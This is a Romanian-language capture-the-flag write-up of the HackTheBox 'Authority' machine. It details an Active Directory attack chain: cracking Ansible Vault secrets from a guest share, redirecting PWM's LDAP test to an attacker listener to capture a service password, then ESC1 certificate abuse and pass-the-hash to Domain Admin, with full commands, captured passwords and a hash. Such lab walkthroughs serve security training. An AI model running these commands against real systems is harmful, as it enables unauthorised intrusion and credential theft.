August 9, 2026
HTB:Authority — Write-up
Authority e o cutie AD unde furi secrete Ansible Vault, păcălești un PWM să dea o parolă LDAP în clar, apoi abuzezi ESC1 spre Domain Admin.
By Vasilesco
9 min read
Authority e genul de cutie unde punctul de intrare nu e o vulnerabilitate clasică de rețea, ci o aplicație web de management de parole (PWM) lăsată cu configurația la vedere. De acolo, lanțul trece prin Ansible Vault, printr-un truc de manipulare a unui test de conexiune LDAP, și se termină cu un abuz clasic de Active Directory Certificate Services (ADCS).
1. Recon inițial
Ca de fiecare dată, pornim cu un scan de porturi cu detectare de versiuni și scripturi default:
sudo nmap -sCV 10.129.44.91sudo nmap -sCV 10.129.44.91Ce găsim
- 53 — DNS (Simple DNS Plus — clasic pentru un DC)
- 80 — HTTP (IIS 10.0 / Microsoft-IIS)
- 88 — Kerberos (confirmă rolul de Domain Controller)
- 135 — MSRPC
- 139 / 445 — NetBIOS / SMB (vectorul principal de enumerare)
- 389 / 3268 — LDAP / Global Catalog (Domain:
authority.htb) - 464 — kpasswd5 (schimbare parole Kerberos)
- 593 — RPC over HTTP
- 636 / 3269 — LDAPS / GC SSL
- 5985 — WinRM (HTTPAPI) — va deveni vectorul nostru de shell
- 8443 — Apache Tomcat (SSL/HTTP) — neobișnuit pe un DC Windows; aici stă o aplicație de management de parole (PWM). Punctul nostru de plecare.
Certificatul SSL de pe porturile LDAPS arată commonName=172.16.2.118, iar scanul raportează un clock skew de aproximativ 3 ore față de scanner. La fel ca-n orice mediu Kerberos, asta trebuie corectat înainte să încercăm orice autentificare bazată pe tichete:
sudo ntpdate 10.129.44.91sudo ntpdate 10.129.44.91Analogie:_ gândește-te la Kerberos ca la un bilet de concert cu oră de expirare tipărită pe el. Dacă ceasul tău arată o oră greșită, portarul (KDC-ul) se uită la bilet, vede că "expiră în trecut" sau "e emis în viitor" și te refuză — chiar dacă biletul e 100% autentic. De aceea sincronizăm ceasul_ înainte de orice pas care implică Kerberos, nu doar la început.
2. Prima privire asupra PWM (portul 8443)
Portul 8443 găzduiește PWM (Password Self-Service), o aplicație open-source de gestionare a parolelor de domeniu. Accesăm panoul de configurare:
https://10.129.44.91:8443/pwm/private/config/loginhttps://10.129.44.91:8443/pwm/private/config/loginPagina ne arată o listă de autentificări anterioare, printre care apare deja un cont de domeniu:
CN=svc_pwm,CN=Users,DC=htb,DC=corpCN=svc_pwm,CN=Users,DC=htb,DC=corp
De ce contează: chiar și fără să ne autentificăm, pagina asta ne dă gratis un username valid de domeniu (
svc_pwm) și confirmă că suntem în fața aplicației de administrare, nu doar a interfeței publice PWM.
Încercăm câteva credențiale default pentru PWM, dar nu funcționează nimic. Lăsăm aplicația deoparte pentru moment și ne mutăm către SMB — username-ul găsit aici o să ne fie util imediat.
3. SMB — sesiune null cu userul găsit
Testăm dacă svc_pwm are o parolă goală, ca sesiune de tip guest:
nxc smb authority.htb -u svc_pwm -p '' --sharesnxc smb authority.htb -u svc_pwm -p '' --sharesRezultatul confirmă domeniul (authority.htb — îl adăugăm în /etc/hosts, alături de DC.authority.htb) și ne arată lista de share-uri. Unul din ele iese în evidență:
- ADMIN$ / C$ – acces standard, nimic neobișnuit
- Development – READ ca guest → punctul nostru de plecare real
- IPC$ – READ, standard
- NETLOGON / SYSVOL – READ, standard
Lecție de metodologie: un share numit
Development, accesibil ca guest, e exact genul de loc unde găsești cod, playbook-uri de automatizare sau fișiere de configurare uitate acolo — și de multe ori, secrete alături de ele.
Descărcăm tot conținutul recursiv:
smbclient --realm=authority.htb -U 'authority.htb/svc_pwm%' //DC.authority.htb/Development -c 'prompt OFF;recurse ON;mget *'smbclient --realm=authority.htb -U 'authority.htb/svc_pwm%' //DC.authority.htb/Development -c 'prompt OFF;recurse ON;mget *'
4. Ansible Vault — mina de secrete
Cu tot conținutul share-ului local, căutăm orice sună a credențial:
grep -rEi "vault|password|secret|inventory|ANSIBLE_VAULT" .grep -rEi "vault|password|secret|inventory|ANSIBLE_VAULT" .Rezultatul scoate la iveală dintr-o dată mai multe lucruri:
- Un fișier
ansible_inventorycuansible_password: Welcome1— în clar, necriptat. - Fișierul
defaults/main.ymldin rolul PWM, care conține trei valori criptate individual cu Ansible Vault:pwm_admin_login,pwm_admin_password,ldap_admin_password. - Un template
tomcat-users.xml.j2cu credențiale Tomcat hardcodate (admin:T0mc@tAdm1n,robot:T0mc@tR00t) — nu ne sunt utile direct în acest lanț, dar merită notate.
Analogie Ansible Vault:_ gândește-te la un fișier YAML normal ca la o listă de cumpărături scrisă pe hârtie liberă — orice trecător o poate citi. Ansible Vault îți permite să iei_ o singură linie din acea listă și s-o pui într-un plic sigilat, criptat cu o parolă — restul foii rămâne la vedere. Practic putem avea un fișier de configurare 90% în clar, cu doar câteva valori sensibile "sigilate" individual.
Instalăm Ansible pentru a lucra cu formatul de vault:
sudo apt update
sudo apt install ansible -y
cd ~/Automation/Ansible/PWMsudo apt update
sudo apt install ansible -y
cd ~/Automation/Ansible/PWM
Prima încercare, evident naivă, e să tratăm tot fișierul ca fiind criptat:
ansible-vault view defaults/main.ymlansible-vault view defaults/main.yml
Primim eroarea Input is not vault encrypted data. Motivul e simplu: fișierul nu e criptat integral — doar cele trei valori individuale (pwm_admin_login, pwm_admin_password, ldap_admin_password) sunt blocuri $ANSIBLE_VAULT;1.1;AES256 separate, inserate inline într-un YAML altfel necriptat. Trebuie să extragem fiecare bloc pe rând.
4.1 Extragerea și decriptarea unui bloc
Copiem manual conținutul blocului vault pentru pwm_admin_password într-un fișier nou:
nano admin.vaultnano admin.vaultBlocurile vault din YAML sunt indentate (au spații la începutul fiecărei linii), ceea ce strică formatul așteptat de ansible-vault. Le curățăm:
sed -i 's/^[[:space:]]*//' admin.vaultsed -i 's/^[[:space:]]*//' admin.vaultVerificăm rezultatul — trebuie să înceapă exact cu $ANSIBLE_VAULT;1.1;AES256 pe prima linie, fără spații:
cat admin.vaultcat admin.vault
Convertim blocul într-un format pe care John îl poate ataca, cu scriptul dedicat din pachetul john:
python3 /usr/share/john/ansible2john.py admin.vault > admin.vault.hashpython3 /usr/share/john/ansible2john.py admin.vault > admin.vault.hashSpargem hash-ul cu rockyou:
john --wordlist=/usr/share/wordlists/rockyou.txt admin.vault.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt admin.vault.hashRezultat aproape instant:
john --show admin.vault.hash
admin.vault:!@#%^&*john --show admin.vault.hash
admin.vault:!@#%^&*De ce a mers atât de repede:_ Ansible Vault folosește PBKDF2-HMAC-SHA256, care e rezonabil de costisitor per încercare — dar, la fel ca la Excel-uri, protecția e la fel de bună ca parola aleasă. !@#%^&* e un pattern de tastatură (rândul de sus, cu Shift) extrem de comun în wordlist-uri, deci cade rapid._
Salvăm parola într-un fișier text și decriptăm efectiv blocul:
echo -n '!@#%^&*' > admin_vault.pass.txt
ansible-vault decrypt admin.vault --vault-password-file=admin_vault.pass.txt
cat admin.vault
pWm_@dm!N_!23echo -n '!@#%^&*' > admin_vault.pass.txt
ansible-vault decrypt admin.vault --vault-password-file=admin_vault.pass.txt
cat admin.vault
pWm_@dm!N_!23
4.2 Repetăm pentru ldap_admin_password
Exact aceiași pași — copiem blocul vault corespunzător lui ldap_admin_password din defaults/main.yml, îl curățăm cu sed, îl convertim cu ansible2john.py, îl spargem cu John (parola master a vault-ului e aceeași, !@#%^&*, deci de fapt putem decripta direct fără să mai spargem nimic) și obținem:
DevT3st@123DevT3st@1235. Autentificare în PWM ca admin
Revenim la Configuration Editor cu parola de admin decriptată:
https://10.129.44.91:8443/pwm/private/config/loginhttps://10.129.44.91:8443/pwm/private/config/loginNe autentificăm folosind pwm_admin_password (username-ul e cel decriptat din pwm_admin_login). Odată înăuntru, în meniul din stânga găsim secțiunea LDAP → LDAP Directories → default → Connection, unde există un buton Test LDAP Profile.
Ce e acolo: valoarea
ldap_admin_passwordpe care tocmai am decriptat-o (DevT3st@123) e, de fapt, doar parola LDAP folosită de aplicație în acest mediu — nu ne mai trebuie direct, pentru că avem ceva mai bun la dispoziție: putem forța aplicația să ne dea parola contului de service LDAP direct de pe rețea, în clar.
6. Trucul cu "Test LDAP Profile" — furt de credențiale prin config abuse
PWM ține în configurație un cont de service (svc_ldap) folosit pentru bind-uri LDAP către DC. Pagina de configurare are un buton care "testează" acea conexiune, conectându-se efectiv la serverul LDAP configurat și autentificându-se cu acele credențiale.
Ideea atacului: schimbăm noi adresa serverului LDAP cu un server pe care îl controlăm, apoi apăsăm "Test". Aplicația, crezând că vorbește cu DC-ul legitim, va trimite bind-ul LDAP — user + parolă — direct către noi, în clar.
Pași:
-
Ștergem conexiunea LDAP existentă din profil.
-
Setăm un URL nou, către mașina noastră, pe un port pe care ascultăm:
ldap://10.10.14.X:444
ldap://10.10.14.X:444- Pornim un listener local înainte de a apăsa Test:
sudo nc -lnvp 444
sudo nc -lnvp 444- Apăsăm Test LDAP Profile din interfața PWM.
Analogie:_ e ca și cum ai suna la recepția unei firme și ai zice:_ "Bună, sunt de la IT, puteți vă rog să testați noul număr al centralistei apelând-o?" Recepționera, de bună-credință, formează numărul (pe care tu l-ai dat) și, când "centralista" (tu, la celălalt capăt) răspunde, ea recită automat codul de securitate al firmei ca să confirme identitatea — fără să știe că de fapt vorbește cu un străin. Aplicația PWM face exact asta: sună la "noul server LDAP" (al nostru) și îi recită user + parola contului de service.
Pe listener primim conexiunea și, în clar, datele de bind LDAP:
CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htbCN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htbParolă capturată: lDaP_1n_th3_cle4r!
7. Acces WinRM ca svc_ldap — User flag
Cu credențialele proaspăt capturate, ne conectăm direct prin WinRM:
evil-winrm -i authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'evil-winrm -i authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'
Suntem înăuntru. User flag găsit:
*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> type user.txt
5f59xxxxxxxxxxxxxxxxxxxxxxxxxxxx83*Evil-WinRM* PS C:\Users\svc_ldap\Desktop> type user.txt
5f59xxxxxxxxxxxxxxxxxxxxxxxxxxxx838. Enumerare de privilegii — pregătirea pentru ADCS
Verificăm ce privilegii are token-ul curent:
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =============================== ========
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabledwhoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =============================== ========
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledSeMachineAccountPrivilege e semnalul important aici: înseamnă că svc_ldap poate crea conturi de calculator noi în domeniu (limitat de ms-DS-MachineAccountQuota, care implicit e 10 pentru orice user autentificat). O să avem nevoie de asta imediat.
Verificăm dacă domeniul are ADCS (Active Directory Certificate Services) configurat greșit, folosind certipy:
certipy find -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.129.44.91 -vulnerable -stdout | tee adcs_vuln.txtcertipy find -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.129.44.91 -vulnerable -stdout | tee adcs_vuln.txtRezultatul arată un template numit CorpVPN, vulnerabil la ESC1:
Certificate Templates
0
Template Name : CorpVPN
Enabled : True
Client Authentication : True
Enrollee Supplies Subject : True
...
Permissions
Enrollment Rights : AUTHORITY.HTB\Domain Computers
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authenticationCertificate Templates
0
Template Name : CorpVPN
Enabled : True
Client Authentication : True
Enrollee Supplies Subject : True
...
Permissions
Enrollment Rights : AUTHORITY.HTB\Domain Computers
AUTHORITY.HTB\Domain Admins
AUTHORITY.HTB\Enterprise Admins
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication
9. ESC1 — de ce e o vulnerabilitate atât de gravă
ESC1 apare când, pe un template de certificat, se combină trei lucruri:
- Enrollee Supplies Subject — cel care cere certificatul poate specifica el însuși pentru cine e certificatul (Subject / SAN), în loc ca CA-ul să-l completeze automat cu identitatea reală a solicitantului.
- Client Authentication (sau alt EKU echivalent, ex. Smart Card Logon) — certificatul rezultat poate fi folosit pentru autentificare Kerberos/PKINIT, nu doar pentru semnare de documente.
- Enrollment Rights deschise unui grup pe care îl controlăm — aici,
Domain Computers.
Analogie:_ gândește-te la un notar care, în loc să verifice el buletinul tău și să scrie_ el numele tău pe actul notarial, te lasă pe tine _să completezi în formular "Numele semnatarului: __" — și apoi ștampilează oricum, fără să recitească. Dacă scrii acolo "Administrator", ștampila notarului (semnătura CA-ului) e la fel de validă ca și cum ar fi verificat cu adevărat cine ești. Cu acest certificat "oficial", te poți prezenta oriunde ca fiind Administrator.
Problema noastră: template-ul e enrollable doar de Domain Computers (și de grupuri de admin, la care oricum nu avem acces). Dar svc_ldap are SeMachineAccountPrivilege — deci putem crea un cont de calculator nou, care intră automat în grupul Domain Computers, și îl folosim pe el ca să cerem certificatul.
10. Exploatare ESC1 — de la svc_ldap la certificat de Administrator
10.1 Creăm un calculator fals în domeniu
addcomputer.py -computer-name 'FAKE01$' -computer-pass 'Passw0rd123!' -dc-ip 10.129.44.91 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!'addcomputer.py -computer-name 'FAKE01$' -computer-pass 'Passw0rd123!' -dc-ip 10.129.44.91 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!'Contul FAKE01$ e acum membru Domain Computers — deci are dreptul de enrollment pe CorpVPN.
10.2 Cerem certificatul, impersonând Administrator
Folosim identitatea calculatorului nou creat pentru a cere certificatul, dar completăm noi (mulțumită Enrollee Supplies Subject) UPN-ul dorit — administrator@authority.htb:
certipy req -u 'FAKE01$@authority.htb' -p 'Passw0rd123!' -dc-ip 10.129.44.91 -ca 'AUTHORITY-CA' -target 'authority.authority.htb' -template 'CorpVPN' -upn 'administrator@authority.htb'certipy req -u 'FAKE01$@authority.htb' -p 'Passw0rd123!' -dc-ip 10.129.44.91 -ca 'AUTHORITY-CA' -target 'authority.authority.htb' -template 'CorpVPN' -upn 'administrator@authority.htb'Certipy salvează certificatul și cheia privată în administrator.pfx.
11. De la certificat la hash NTLM — Pass-the-Certificate
Resincronizăm ceasul (orice pas Kerberos-related e sensibil la skew):
sudo ntpdate 10.129.44.91sudo ntpdate 10.129.44.91Folosim certificatul pentru a ne autentifica prin PKINIT și a extrage hash-ul NTLM al contului Administrator:
certipy auth -pfx administrator.pfx -dc-ip 10.129.44.91 -domain authority.htbcertipy auth -pfx administrator.pfx -dc-ip 10.129.44.91 -domain authority.htbAnalogie:
certipy authface, în esență, ceea ce ar facekinit— dar cu certificatul nostru fals în loc de o parolă. Îl prezentăm la ghișeul KDC-ului (Kerberos PKINIT) și primim un TGT valid pentru Administrator, ca și cum am avea buletinul lui original. Apoi, folosind un mecanism special numit U2U (User-to-User), cerem KDC-ului să ne "traducă" acel TGT înapoi într-un hash NTLM — practic cerem "amprenta digitală" din spatele identității pe care tocmai am dovedit-o, ca s-o putem refolosi ulterior fără certificat.
Rezultat:
Got hash for 'administrator@authority.htb': aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4edGot hash for 'administrator@authority.htb': aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed12. Domain Admin — Pass-the-Hash
Cu hash-ul NTLM al Administratorului, ne autentificăm direct prin WinRM, fără să avem nevoie de parola în clar:
evil-winrm -i authority.htb -u administrator -H '6961f422924da90a6928197429eea4ed'evil-winrm -i authority.htb -u administrator -H '6961f422924da90a6928197429eea4ed'Analogie Pass-the-Hash:_ dacă NTLM ar fi un lock cu combinație, hash-ul e echivalentul unei copii perfecte a cheii — nu ai nevoie de combinația originală (parola în clar), pentru că lock-ul acceptă orice obiect care se potrivește exact în formă cu cheia lui. Protocolul NTLM verifică hash-ul, nu parola în sine, deci o copie a hash-ului deschide ușa la fel de bine ca originalul._
Suntem înăuntru, ca Administrator. Root flag:
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
a6xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxabf*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
a6xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxabf